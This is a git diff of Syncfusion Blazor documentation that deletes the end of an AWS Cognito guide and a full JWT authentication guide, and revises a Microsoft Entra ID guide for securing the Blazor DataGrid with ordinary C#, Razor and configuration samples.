-{% endhighlight %}
-{% endtabs %}
-
-N> Replace **{REGION}** with your AWS region (e.g., `us-east-1`), and **YOUR_APP_CLIENT_ID** with your Cognito app client ID.
-
-N> This sample uses Authorization Code + PKCE with a public client (no client secret). If you created a confidential client, add ClientSecret to configuration and set `options.ClientSecret` in the OIDC options.
-
-### Configure OIDC and Cookie authentication
-
-This wires OpenID Connect against Cognito’s hosted UI using the Authorization Code flow (PKCE) and uses cookies for the authenticated session. `SaveTokens = true` keeps ID/Access tokens available for downstream API calls. `RoleClaimType = "cognito:groups"` turns Cognito groups into ASP.NET Core roles.
-
-{% tabs %}
-{% highlight csharp tabtitle="Program.cs" %}
-
-using Microsoft.AspNetCore.Authentication;
-using Microsoft.AspNetCore.Authentication.Cookies;
-using Microsoft.AspNetCore.Authentication.OpenIdConnect;
-using Microsoft.IdentityModel.Tokens;
-using Syncfusion.Blazor;
-
-var builder = WebApplication.CreateBuilder(args);
-// Add services to the container.
-builder.Services.AddRazorComponents()
-    .AddInteractiveServerComponents();
-builder.Services.AddSyncfusionBlazor();
-builder.Services.AddHttpContextAccessor();
-
-var cognitoAuthority = builder.Configuration["Cognito:Authority"];
-var cognitoClientId = builder.Configuration["Cognito:ClientId"];
-
-bool TryGetAuthorityUri(string? authority, out Uri? uri)
-{
-    uri = null;
-    if (string.IsNullOrWhiteSpace(authority)) return false;
-    if (authority.Contains("your-domain")) return false;
-    // Require a valid absolute URI (e.g. https://your-domain.auth.region.amazoncognito.com)
-    if (!Uri.TryCreate(authority, UriKind.Absolute, out var parsed)) return false;
-    // only http or https are acceptable here for dev detection; production will require https
-    if (parsed.Scheme != Uri.UriSchemeHttp && parsed.Scheme != Uri.UriSchemeHttps) return false;
-    uri = parsed;
-    return true;
-}
-
-// Decide whether to enable OIDC (Cognito) or fall back to cookie-only auth in Development.
-bool useOidc = false;
-if (!string.IsNullOrWhiteSpace(cognitoAuthority)
-    && !cognitoAuthority.Contains("your-domain")
-    && !string.Equals(cognitoAuthority, "Test user", StringComparison.OrdinalIgnoreCase)
-    && !string.IsNullOrWhiteSpace(cognitoClientId)
-    && !cognitoClientId.Contains("YOUR_APP_CLIENT_ID"))
-{
-    if (Uri.TryCreate(cognitoAuthority, UriKind.Absolute, out var u))
-    {
-        // Allow only HTTPS authority generally
-        if (string.Equals(u.Scheme, Uri.UriSchemeHttps, StringComparison.OrdinalIgnoreCase))
-        {
-            useOidc = true;
-        }
-        else if (string.Equals(u.Scheme, Uri.UriSchemeHttp, StringComparison.OrdinalIgnoreCase)
-         && u.IsLoopback
-         && builder.Environment.IsDevelopment())
-        {
-            // Allow HTTP for localhost in development only
-            useOidc = true;
-        }
-    }
-}
-
-if (useOidc)
-{
-    builder.Services.AddAuthentication(options =>
-    {
-        options.DefaultScheme = CookieAuthenticationDefaults.AuthenticationScheme;
-        options.DefaultChallengeScheme = OpenIdConnectDefaults.AuthenticationScheme;
-    })
-    .AddCookie()
-    .AddOpenIdConnect(options =>
-    {
-        options.Authority = cognitoAuthority!;          // Cognito hosted UI domain
-        options.ClientId = cognitoClientId!;                // App client ID
-        options.ResponseType = "code";              // Authorization Code + PKCE
-        options.SaveTokens = true;                  // Persist ID/Access tokens in session for use in API calls or as Bearer tokens
-
-        // If the authority is http and we're in Development, allow non-https metadata.
-        options.RequireHttpsMetadata = !(builder.Environment.IsDevelopment()
-            && Uri.TryCreate(cognitoAuthority, UriKind.Absolute, out var uu)
-            && string.Equals(uu.Scheme, Uri.UriSchemeHttp, StringComparison.OrdinalIgnoreCase));
-
-        options.Scope.Clear();
-        options.Scope.Add("openid");
-        options.Scope.Add("email");
-        options.Scope.Add("profile");
-
-        options.TokenValidationParameters = new TokenValidationParameters
-        {
-            NameClaimType = "cognito:username",
-            RoleClaimType = "cognito:groups"
-        };
-
-        options.CallbackPath = "/signin-oidc";
-        options.SignedOutCallbackPath = "/signout-callback-oidc";
-    });
-}
-else
-{
-    // Cookie-only auth for development/test when Cognito isn't configured.
-    builder.Services.AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme)
-        .AddCookie();
-}
-
-// In Production require a valid HTTPS Cognito authority.
-if (!builder.Environment.IsDevelopment())
-{
-    if (!TryGetAuthorityUri(cognitoAuthority, out var prodUri) || prodUri!.Scheme != Uri.UriSchemeHttps || string.IsNullOrWhiteSpace(cognitoClientId) || cognitoClientId.Contains("YOUR_APP_CLIENT_ID"))
-    {
-        throw new InvalidOperationException(
-            "Cognito configuration is invalid. Set 'Cognito:Authority' to your Cognito hosted UI domain (https://<your-domain>.auth.<region>.amazoncognito.com) and 'Cognito:ClientId' to your app client id.");
-    }
-}
-
-builder.Services.AddAuthorization(o =>
-{
-    o.AddPolicy("AdminOnly", p => p.RequireRole("Admin"));
-});
-
-var app = builder.Build();
-// Configure the HTTP request pipeline.
-if (!app.Environment.IsDevelopment())
-{
-    app.UseExceptionHandler("/Error");
-    // The default HSTS value is 30 days. You may want to change this for production scenarios, see https://aka.ms/aspnetcore-hsts.
-    app.UseHsts();
-}
-
-app.UseHttpsRedirection();
-app.MapStaticAssets();
-app.UseRouting();
-app.UseAuthentication();
-app.UseAuthorization();
-app.UseAntiforgery();
-app.MapRazorComponents<App>()
-    .AddInteractiveServerRenderMode();
-app.MapGet("/signin", async (HttpContext ctx) =>
-{
-    if (useOidc)
-    {
-        await ctx.ChallengeAsync(OpenIdConnectDefaults.AuthenticationScheme, new AuthenticationProperties { RedirectUri = "/" });
-        return Results.Empty;
-    }
-
-    // Dev fallback: create a local cookie user and redirect home
-    var claims = new[] {
-        new System.Security.Claims.Claim(System.Security.Claims.ClaimTypes.NameIdentifier, "devuser"),
-        new System.Security.Claims.Claim(System.Security.Claims.ClaimTypes.Name, "Developer User"),
-        new System.Security.Claims.Claim(System.Security.Claims.ClaimTypes.Email, "dev@example.local")
-    };
-    var identity = new System.Security.Claims.ClaimsIdentity(claims, CookieAuthenticationDefaults.AuthenticationScheme);
-    var user = new System.Security.Claims.ClaimsPrincipal(identity);
-    await ctx.SignInAsync(CookieAuthenticationDefaults.AuthenticationScheme, user);
-    ctx.Response.Redirect("/");
-    return Results.Empty;
-});
-
-app.MapGet("/signout", async (HttpContext ctx) =>
-{
-    if (useOidc)
-    {
-        await ctx.SignOutAsync(OpenIdConnectDefaults.AuthenticationScheme, new AuthenticationProperties { RedirectUri = "/" });
-        return Results.Empty;
-    }
-
-    await ctx.SignOutAsync(CookieAuthenticationDefaults.AuthenticationScheme);
-    ctx.Response.Redirect("/");
-    return Results.Empty;
-});
-app.Run();
-
-{% endhighlight %}
-{% endtabs %}
-
-### Add Syncfusion® theme and script references
-
-Add the Syncfusion Blazor theme CSS and script references to your application's `App.razor` file (or `_Host.cshtml` depending on your project template).
-
-{% tabs %}
-{% highlight html tabtitle="App.razor" %}
-
-<head>
-    ...
-    <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
-</head>
-<body>
-    ...
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js"></script>
-</body>
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion provides multiple theme variants, allowing selection of the theme that best aligns with the application's UI design. Additional theme options and customization details are available in the [theming documentation](https://blazor.syncfusion.com/documentation/appearance/themes).
-
-### Syncfusion® DataGrid on an authenticated page
-
-This page demonstrates how to protect a [Syncfusion DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) using ASP.NET Core authorization. When unauthenticated, a `Sign in` link is displayed. Once authenticated, the grid renders with sample data.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@page "/"
-@using Microsoft.AspNetCore.Components.Authorization
-@using Syncfusion.Blazor.Grids
-
-<div>
-    <AuthorizeView>
-        <Authorized>
-            <div>
-                <h1>Welcome to Blazor with AWS Cognito</h1>
-                <h5>Orders Data</h5>
-                <SfGrid DataSource="@_orders" AllowPaging="true" AllowSorting="true" AllowSelection="true">
-                    <GridPageSettings PageSize="10"></GridPageSettings>
-                    <GridColumns>
-                        <GridColumn Field="Id" HeaderText="ID" Width="80"></GridColumn>
-                        <GridColumn Field="Item" HeaderText="Item"></GridColumn>
-                        <GridColumn Field="Qty" HeaderText="Quantity" Width="100"></GridColumn>
-                        <GridColumn Field="Price" HeaderText="Price" Width="120" Format="C2" TextAlign="TextAlign.Right"></GridColumn>
-                    </GridColumns>
-                </SfGrid>
-            </div>
-        </Authorized>
-        <NotAuthorized>
-            <div>
-                <div>
-                    <h2>Sign in</h2>
-                    <p>Sign in to your account with AWS Cognito.</p>
-                </div>
-                <div>
-                    <p class="signin-description">
-                        Secure authentication powered by AWS Cognito
-                    </p>
-                    <a href="/signin" class="btn btn-primary btn-lg signin-button">
-                        <span class="signin-icon"></span>
-                        Sign in with AWS Cognito
-                    </a>
-                </div>
-            </div>
-        </NotAuthorized>
-    </AuthorizeView>
-</div>
-
-@code {
-    private record Order(int Id, string Item, int Qty, decimal Price);
-
-    private readonly List<Order> _orders = new()
-    {
-        new Order(1, "Laptop", 1, 1299.00m),
-        new Order(2, "Mouse", 2, 49.99m),
-        new Order(3, "Keyboard", 3, 89.99m),
-        new Order(4, "Monitor", 1, 349.99m)
-    };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> In this example, sample data is defined inline for demonstration purposes. In production applications, load data from a secure API endpoint that validates the user's JWT token or authentication cookie.
-
-### Run the application
-
-Run the application using the following command:
-
-{% tabs %}
-{% highlight bash tabtitle=".NET CLI" %}
-
-dotnet run
-
-{% endhighlight %}
-{% endtabs %}
-
-N> By default, the app runs on `https://localhost:7000` (or similar port defined in `Properties/launchSettings.json`). Older project templates may use `https://localhost:5001`. Ensure your Cognito app client **Allowed redirect URIs** match your actual localhost URL.
-
-**Expected behavior**
-
-* Unauthenticated users see the sign-in prompt.
-* Clicking "Sign in with AWS Cognito" redirects to the Cognito hosted UI.
-* After entering credentials, the user is redirected back to the app.
-* The Syncfusion DataGrid appears with sample data.
-* Clicking "Sign out" clears the session and returns to the sign in page.
-
-**Output:**
-
-![Syncfusion Blazor DataGrid displaying order data after AWS Cognito authentication](./images/aws-cognito.webp)
-
-## See also
-
-* [Blazor with JWT authentication](https://blazor.syncfusion.com/documentation/common/authentication/blazor-jwt-authentication)
-* [Blazor with GitHub OAuth 2.0](https://blazor.syncfusion.com/documentation/common/authentication/blazor-oauth-authentication)
-* [AWS Cognito user pools](https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pools.html)
-* [ASP.NET Core authentication overview](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/)
-* [Syncfusion Blazor Server getting started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio)
-
diff --git a/blazor/common/authentication/blazor-jwt-authentication.md b/blazor/common/authentication/blazor-jwt-authentication.md
deleted file mode 100644
index b6301dac29..0000000000
--- a/blazor/common/authentication/blazor-jwt-authentication.md
+++ /dev/null
@@ -1,399 +0,0 @@
----
-layout: post
-title: Blazor with JWT Authentication | Syncfusion®
-description: Guide to setting up JWT authentication for Syncfusion® Blazor DataGrid with secure API access and token handling.
-platform: Blazor
-control: Common
-documentation: ug
----
-
-# Securing Syncfusion® Blazor DataGrid with JWT Authentication
-
-This guide shows how to secure the [Syncfusion® Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) in a **Blazor Web App** with **Interactive Server** using **JWT (JSON Web Token)** authentication.
-
-## What is JWT (JSON Web Token)?
-
-A JSON Web Token (JWT) is a compact, digitally signed string that identifies a user and authorizes API calls. It has three parts:
-
-- **Header** – specifies the token type and the signing algorithm used.
-- **Payload** – contains claims (e.g., `sub`, `name`, `role`, `exp`).
-- **Signature** – computed using the header, payload, and secret (or private key) to prevent tampering.
-
-## Why use JWT in Blazor?
-
-Syncfusion® Blazor components make HTTP requests to your API internally. JWT allows each request to carry a trusted identity and prevents unauthorized access without relying on server-side session state.
-
-**Benefits of using JWT in Blazor applications**
-
-JWT allows users to log in once and securely access APIs, controls features based on user roles, maintain authentication while navigating between pages, ensure secure communication between client and server, and supports large‑scale applications without storing login sessions on the server.
-
-## Implementing JWT Authorization for Syncfusion® Blazor DataGrid
-
-Configure JWT based authorization to secure backend APIs used by the Syncfusion® Blazor DataGrid in a Blazor App, ensuring that each DataGrid request includes a valid bearer token for authorized access.
-
-### Create a Blazor project
-
-If you already have a Blazor project configured, you can skip this section and proceed to **Install required packages**.
-
-Otherwise, create a new Blazor application by following the Syncfusion getting started guides [Blazor Web App (Interactive Server)](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
-
-Ensure that **HTTPS is enabled** during project creation, as JWT based authorization requires secure communication.
-
-### Install required packages
-
-Open the NuGet Package Manager in Visual Studio from (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), and install the required package.
-
-**Syncfusion packages:**
-
-- [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid/)
-- [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
-
-**JWT package:**
-
-- [Microsoft.AspNetCore.Authentication.JwtBearer](https://www.nuget.org/packages/Microsoft.AspNetCore.Authentication.JwtBearer)
-
-### Add Syncfusion® namespaces
-
-Open the `~/_Imports.razor` file and import the Syncfusion® namespaces.
-
-{% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
-
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Grids
-@using Syncfusion.Blazor.Data
-
-{% endhighlight %}
-{% endtabs %}
-
-### Add stylesheet and script resources
-
-Include the theme stylesheet and script references in the `App.razor` file.
-
-{% tabs %}
-{% highlight html  %}
-
-<head>
-    <!-- Syncfusion theme stylesheet -->
-    <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
-</head>
-
-<body>
-    <!-- Syncfusion Blazor DataGrid component's script reference -->
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</body>
-
-{% endhighlight %}
-{% endtabs %}
-
-### Configuring JWT in appsettings.json
-
-The JWT configuration specifies how the server signs and validates authentication tokens.
-
-{% tabs %}
-{% highlight json tabtitle="appsettings.json" %}
-
-{
-  "Jwt": {
-    "Key": "REPLACE_WITH_A_LONG_RANDOM_SECRET_32+_CHARS", 
-    "Issuer": "BlazorJWT",
-    "Audience": "BlazorJWTClient"
-  }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> For production environments, do not store secrets directly in `appsettings.json`. Use environment variables or a secure secret store such as **Azure Key Vault** to protect sensitive information.
-
-### Generating a JWT token
-
-This section demonstrates how to generate a JWT token on the server by using a custom **TokenService** class.
-
-{% tabs %}
-{% highlight c# tabtitle="Services/TokenService.cs"  %}
-
-using System.IdentityModel.Tokens.Jwt;
-using System.Security.Claims;
-using System.Text;
-using Microsoft.IdentityModel.Tokens;
-using Microsoft.Extensions.Configuration;
-
-namespace YourProjectName.Services 
-{
-    public class TokenService
-    {
-        private readonly IConfiguration _config;
-        public TokenService(IConfiguration config) => _config = config;
-
-        public string IssueToken(string subjectUserId, string? name = null)
-        {
-            var issuer = _config["Jwt:Issuer"]!;
-            var audience = _config["Jwt:Audience"]!;
-            var key = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(_config["Jwt:Key"]!));
-            var creds = new SigningCredentials(key, SecurityAlgorithms.HmacSha256);
-
-            var claims = new List<Claim>
-            {
-                new(JwtRegisteredClaimNames.Sub, subjectUserId),
-                new(JwtRegisteredClaimNames.Jti, Guid.NewGuid().ToString()),
-            };
-
-            if (!string.IsNullOrWhiteSpace(name))
-            {
-                claims.Add(new Claim(ClaimTypes.Name, name));
-            }
-
-            var token = new JwtSecurityToken(
-                issuer: issuer,
-                audience: audience,
-                claims: claims,
-                notBefore: DateTime.UtcNow.AddMinutes(-1),
-                expires: DateTime.UtcNow.AddMinutes(30),
-                signingCredentials: creds);
-            return new JwtSecurityTokenHandler().WriteToken(token);
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-### Getting the token
-
-This section describes how the application issues a JSON Web Token (JWT) for authenticated access. The **AuthController** class provides an API endpoint that generates and returns a JWT for the requesting user.
-
-{% tabs %}
-{% highlight c# tabtitle="~/Controllers/AuthController.cs"  %}
-
-using YourProjectName.Services;
-using Microsoft.AspNetCore.Mvc;
-
-namespace YourProjectName.Controllers;
-
-[ApiController]
-[Route("api/[controller]")]
-public class AuthController : ControllerBase
-{
-    private readonly TokenService _tokenService;
-    public AuthController(TokenService tokenService) => _tokenService = tokenService;
-
-    [HttpPost("token")]
-    public IActionResult Token([FromQuery] string user = "user123")
-    {
-        var jwt = _tokenService.IssueToken(user, name: user);
-        return Ok(new { token = jwt });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-### Adding JWT middleware
-
-Register JWT authentication and authorization middleware to validate incoming API requests. Add these configurations in `Program.cs`.
-
-{% tabs %}
-{% highlight razor tabtitle="~/Program.cs" %}
-
-using System.Text;
-using YourProjectName.Components;
-using YourProjectName.Services;
-using Microsoft.AspNetCore.Authentication.JwtBearer;
-using Microsoft.IdentityModel.Tokens;
-using Syncfusion.Blazor;
-
-var builder = WebApplication.CreateBuilder(args);
-
-builder.Services.AddRazorComponents()
-    .AddInteractiveServerComponents();
-builder.Services.AddControllers();
-builder.Services.AddHttpClient();
-
-// Register the Syncfusion® Blazor service 
-builder.Services.AddSyncfusionBlazor();
-
-var jwtKey = builder.Configuration["Jwt:Key"] ?? throw new InvalidOperationException("Jwt:Key missing");
-
-builder.Services
-    .AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
-    .AddJwtBearer(options =>
-    {
-        options.TokenValidationParameters = new TokenValidationParameters
-        {
-            ValidateIssuer = true,
-            ValidateAudience = true,
-            ValidateIssuerSigningKey = true,
-            ValidateLifetime = true,
-            ClockSkew = TimeSpan.FromMinutes(5),
-            ValidIssuer = builder.Configuration["Jwt:Issuer"],
-            ValidAudience = builder.Configuration["Jwt:Audience"],
-            IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(jwtKey))
-        };
-    });
-
-builder.Services.AddAuthorization();
-builder.Services.AddSingleton<TokenService>();
-
-var app = builder.Build();
-
-app.UseHttpsRedirection();
-app.UseStaticFiles();
-app.UseAuthentication();
-app.UseAuthorization();
-app.UseAntiforgery();
-app.MapControllers();
-app.MapRazorComponents<App>()
-   .AddInteractiveServerRenderMode();
-app.Run();
-
-{% endhighlight %}
-{% endtabs %}
-
-### Create sample data model
-
-Create sample records for the DataGrid in `~/Models/OrdersDetails.cs` file.
-
-{% tabs %}
-{% highlight c# tabtitle="~/Models/OrdersDetails.cs"  %}
-
-namespace YourProjectName.Models;  
-
-public class OrdersDetails
-{
-    public int OrderID { get; set; }
-    public string? CustomerID { get; set; }
-    public string? ShipCity { get; set; }
-    public string? ShipCountry { get; set; }
-    private static List<OrdersDetails>? _data;
-    public static List<OrdersDetails> GetAllRecords()
-    {
-        if (_data is null)
-        {
-            _data = Enumerable.Range(1, 50).Select(i => new OrdersDetails
-            {
-                OrderID = i,
-                CustomerID = $"CUST-{i:000}",
-                ShipCity = i % 2 == 0 ? "Chennai" : "Bengaluru",
-                ShipCountry = "India"
-            }).ToList();
-        }
-        return _data;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-### Protecting the Syncfusion® Blazor DataGrid API
-
-This section explains how the Syncfusion® Blazor DataGrid API endpoint is secured to allow access only to authenticated requests. The `Authorize` attribute enforces token based access to Grid data.
-
-{% tabs %}
-{% highlight c# tabtitle="~/Controllers/GridController.cs"  %}
-
-using YourProjectName.Models;  
-using Microsoft.AspNetCore.Authorization;
-using Microsoft.AspNetCore.Mvc;
-using Syncfusion.Blazor.Data;
-
-namespace YourProjectName.Controllers;
-
-[ApiController]
-[Route("api/[controller]")]
-[Authorize]
-[IgnoreAntiforgeryToken] // DataManager uses bearer token authentication; antiforgery tokens are not applicable for API endpoints using JWT.
-public class GridController : ControllerBase
-{
-    [HttpPost]
-    public IActionResult Post([FromBody] DataManagerRequest dm)
-    {
-        var data = OrdersDetails.GetAllRecords().AsQueryable();
-        var total = data.Count();
-        return Ok(new { result = data.ToList(), count = total });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-### Adding JWT to Syncfusion® Blazor DataManager headers
-
-Attach the JWT token to HTTP headers so the **DataManager** can send authenticated requests.
-
-{% tabs %}
-{% highlight razor %}
-
-@page "/"
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Grids
-@using Syncfusion.Blazor.Data
-@using YourProjectName.Models
-@inject HttpClient Http
-@inject NavigationManager Nav
-
-<h3>JWT + Syncfusion DataGrid (Click to Load)</h3>
-
-<button class="btn btn-primary" @onclick="LoadGridWithToken">Load GridData</button>
-
-<SfGrid TValue="OrdersDetails" @ref="grid" AllowPaging="true" AllowSorting="true" Width="100%">
-    // Only render the DataManager after the token is fetched.
-    @if (isDataManagerEnabled)
-    {
-        <SfDataManager Url="api/grid" Adaptor="Adaptors.UrlAdaptor" Headers="HeaderData" />
-    }
-    <GridColumns>
-        <GridColumn Field=@nameof(OrdersDetails.OrderID) HeaderText="Order ID" Width="120" TextAlign="TextAlign.Center" />
-        <GridColumn Field=@nameof(OrdersDetails.CustomerID) HeaderText="Customer" Width="150" />
-        <GridColumn Field=@nameof(OrdersDetails.ShipCity) HeaderText="City" Width="150" />
-    </GridColumns>
-</SfGrid>
-
-@code {
-    private SfGrid<OrdersDetails>? grid;
-    // DataManager is enabled only after token is retrieved.
-    private bool isDataManagerEnabled = false;
-    private string? jwt;
-    private string? error;
-    private IDictionary<string, string> HeaderData => new Dictionary<string, string>
-    {
-        ["Authorization"] = string.IsNullOrEmpty(jwt) ? "" : $"Bearer {jwt}"
-    };
-    // Ensure jwt is set before the DataManager is rendered; otherwise headers may be empty.
-    private async Task LoadGridWithToken()
-    {
-        error = null;
-        try
-        {
-            var baseUri = new Uri(Nav.BaseUri);
-            var tokenRes = await Http.PostAsync(new Uri(baseUri, "api/auth/token?user=username"), content: null);
-            tokenRes.EnsureSuccessStatusCode();
-            var json = await tokenRes.Content.ReadFromJsonAsync<Dictionary<string, string>>();
-            jwt = json!["token"];
-            isDataManagerEnabled = true;
-            StateHasChanged();
-            await Task.Yield();
-            if (grid is not null)
-            {
-                await grid.Refresh(); // Triggers the first data request using the DataManager and headers.
-            }
-        }
-        catch (Exception ex)
-        {
-            error = ex.Message;
-            isDataManagerEnabled = false;
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-![Blazor DataGrid with JWT](images/jwt-authentication.webp)
-
-The complete application flow ensures the **DataGrid** loads only after the user is authenticated using a valid JWT.
-
-## See also
-
-- [Configure JWT bearer authentication in ASP.NET Core](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/configure-jwt-bearer-authentication?view=aspnetcore-10.0)
-- [Getting started with Syncfusion® Blazor DataGrid in Web App](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app)
\ No newline at end of file
diff --git a/blazor/common/authentication/blazor-microsoft-entra-id.md b/blazor/common/authentication/blazor-microsoft-entra-id.md
index a9e51de684..9bb37176e7 100644
--- a/blazor/common/authentication/blazor-microsoft-entra-id.md
+++ b/blazor/common/authentication/blazor-microsoft-entra-id.md
@@ -1,41 +1,29 @@
 ---
 layout: post
-title: Blazor with Microsoft Entra ID Authentication | Syncfusion® 
-description: Step-by-step guide to integrating Microsoft Entra ID authentication with Syncfusion® Blazor components in a Blazor Web App.
+title: Securing Blazor DataGrid with Microsoft Entra ID | Syncfusion® 
+description: Step-by-step guide to integrating Microsoft Entra ID authentication with Blazor components in a Blazor Web App.
 platform: Blazor
 control: Common
 documentation: ug
 ---
 
-# Securing Syncfusion® Blazor DataGrid with Microsoft Entra ID
+# Securing Blazor DataGrid with Microsoft Entra ID
 
-This document explains how to build a **Blazor Web App (Interactive Server)** that uses **Microsoft Entra ID** (formerly Azure Active Directory) for user authentication. Once users log in with their Microsoft account, they will be able to access a protected page that includes the **[Syncfusion® Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** component.
+This guide shows how to secure the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) in a **Blazor Web App** with **Interactive Server** using [Microsoft Entra ID](https://www.microsoft.com/en-us/security/business/identity-access/microsoft-entra-id) (formerly Azure Active Directory) authentication.
 
-## What is Microsoft Entra ID?
+## Create a Blazor project
 
-Microsoft Entra ID is Microsoft’s identity platform that allows users to securely sign in to applications using their Microsoft account.
+If you already have a Blazor project configured, you can skip this section and proceed to [Install required packages](#install-required-packages).
 
-**Benefits of using Entra ID in Blazor applications**
-
-Entra ID enables secure Microsoft account sign-in for your Blazor App with Single Sign‑On (SSO) and token based authentication, so your app never stores passwords. It also supports role and group based authorization and provides enterprise grade security managed by Microsoft, so you don’t need to write or maintain authentication logic yourself.
-
-## Implementing Microsoft Entra ID Authentication for Syncfusion® Blazor DataGrid
-
-This section explains how to connect **Microsoft Entra ID login** to a Blazor Web App and show the **Syncfusion® Blazor DataGrid** only after a user signs in.
-
-### Create a Blazor project
-
-If you already have a Blazor project configured, you can skip this section and proceed to **Install required packages**.
-
-Otherwise, create a new Blazor application by following the Syncfusion getting started guides [Blazor Web App (Interactive Server)](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
+Otherwise, create a new Blazor application by following the [Getting started guide](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app) for a **Blazor Web App (Interactive Server)**.
 
 Ensure that **HTTPS is enabled** during project creation, as Microsoft Entra ID based authorization requires secure communication.
 
-### Install required packages
+## Install required packages
 
-Open the NuGet Package Manager in Visual Studio from (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), and install the required package.
+Install the following NuGet packages to use the **Blazor DataGrid** and enable authentication with **Microsoft Entra ID**.
 
-**Syncfusion packages:**
+**Blazor packages:**
 
 - [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid/)
 - [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
@@ -45,9 +33,22 @@ Open the NuGet Package Manager in Visual Studio from (*Tools → NuGet Package M
 - [Microsoft.Identity.Web](https://www.nuget.org/packages/Microsoft.Identity.Web)
 - [Microsoft.Identity.Web.UI](https://www.nuget.org/packages/Microsoft.Identity.Web.UI)
 
-### Add Syncfusion® namespaces
+You can install the required packages by using the following .NET CLI commands.
+
+{% tabs %}
+{% highlight bash tabtitle=".NET CLI" %}
+
+dotnet add package Syncfusion.Blazor.Grid -v {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
+dotnet add package Microsoft.Identity.Web
+dotnet add package Microsoft.Identity.Web.UI 
+
+{% endhighlight %}
+{% endtabs %}
+
+## Add required namespaces
 
-Open the `~/_Imports.razor` file and import the Syncfusion® namespaces.
+Open the `~/_Imports.razor` file and import the namespaces.
 
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
@@ -58,38 +59,38 @@ Open the `~/_Imports.razor` file and import the Syncfusion® namespaces.
 {% endhighlight %}
 {% endtabs %}
 
-### Add stylesheet and script resources
+## Add stylesheet and script resources
 
 Include the theme stylesheet and script references in the `App.razor` file.
 
 {% tabs %}
-{% highlight html  %}
+{% highlight razor tabtitle="App.razor" %}
 
 <head>
-    <!-- Syncfusion theme stylesheet -->
+    ....
+    <!-- Theme stylesheet -->
     <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+    ....
 </head>
 
 <body>
-    <!-- Syncfusion Blazor DataGrid component's script reference -->
+    ....
+    <!-- Blazor core script (required for UI components, including DataGrid) -->
     <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+    ....
 </body>
 
 {% endhighlight %}
 {% endtabs %}
 
-### Register your app in Microsoft Entra ID (Azure Portal)
+## Register your app in Microsoft Entra ID (Azure Portal)
 
 This step registers the Blazor application in Azure so Microsoft Entra ID can authenticate users.
 
 1. Open [Azure Portal](https://portal.azure.com).
 2. Go to **Microsoft Entra ID** → **App registrations**.
 3. Click **New registration**.
-4. Enter **App name** and under **Supported account types**, select:
-   - **Single tenant** - if the app is for users in your organization only.
-   - **Multi tenant** - if the app should support users from any Microsoft Entra organization.
-   - **Multi tenant and personal Microsoft accounts** - for the broadest access.
-   For this tutorial, select **Single tenant**.
+4. Enter **App name** and under **Supported account types**, select **Single tenant** (for users within your organization only).
 5. Click **Register**.
 
 After registration, note the following values:
@@ -98,21 +99,20 @@ After registration, note the following values:
 
 These values are required in the application configuration.
 
-### Configure redirect URLs
+## Configure redirect URLs
 
-Redirect URLs specify where Microsoft Entra ID should return the user after a successful login.
+Redirect URLs specify where **Microsoft Entra ID** should return the user after a successful login.
 
 1. Open the registered application in Azure Portal.
 2. Navigate to **Authentication**.
 3. Click **Add a platform** and select **Web**.
-4. Add the redirect URL: `https://localhost:5001/signin-oidc` *(Replace `5001` with your application's actual HTTPS port number from `launchSettings.json` if different)*.
+4. Add the redirect URL: `https://localhost:5001/signin-oidc` *(Replace **5001** with your application's actual HTTPS port number from `launchSettings.json` if different)*.
 5. Enable **ID tokens**.
 6. Save the changes.
 
-### Configure Azure AD settings in appsettings.json
+## Configure Azure AD settings
 
-This step stores Microsoft Entra ID configuration values so the Blazor App can read them at runtime.
-After copying the **Tenant ID** and **Client ID**, update the `appsettings.json` file as shown below.
+This step stores **Microsoft Entra ID** configuration values so the Blazor App can read them at runtime. After copying the **Tenant ID** and **Client ID**, update the `appsettings.json` file as shown below.
 
 {% tabs %}
 {% highlight json tabtitle="appsettings.json" %}
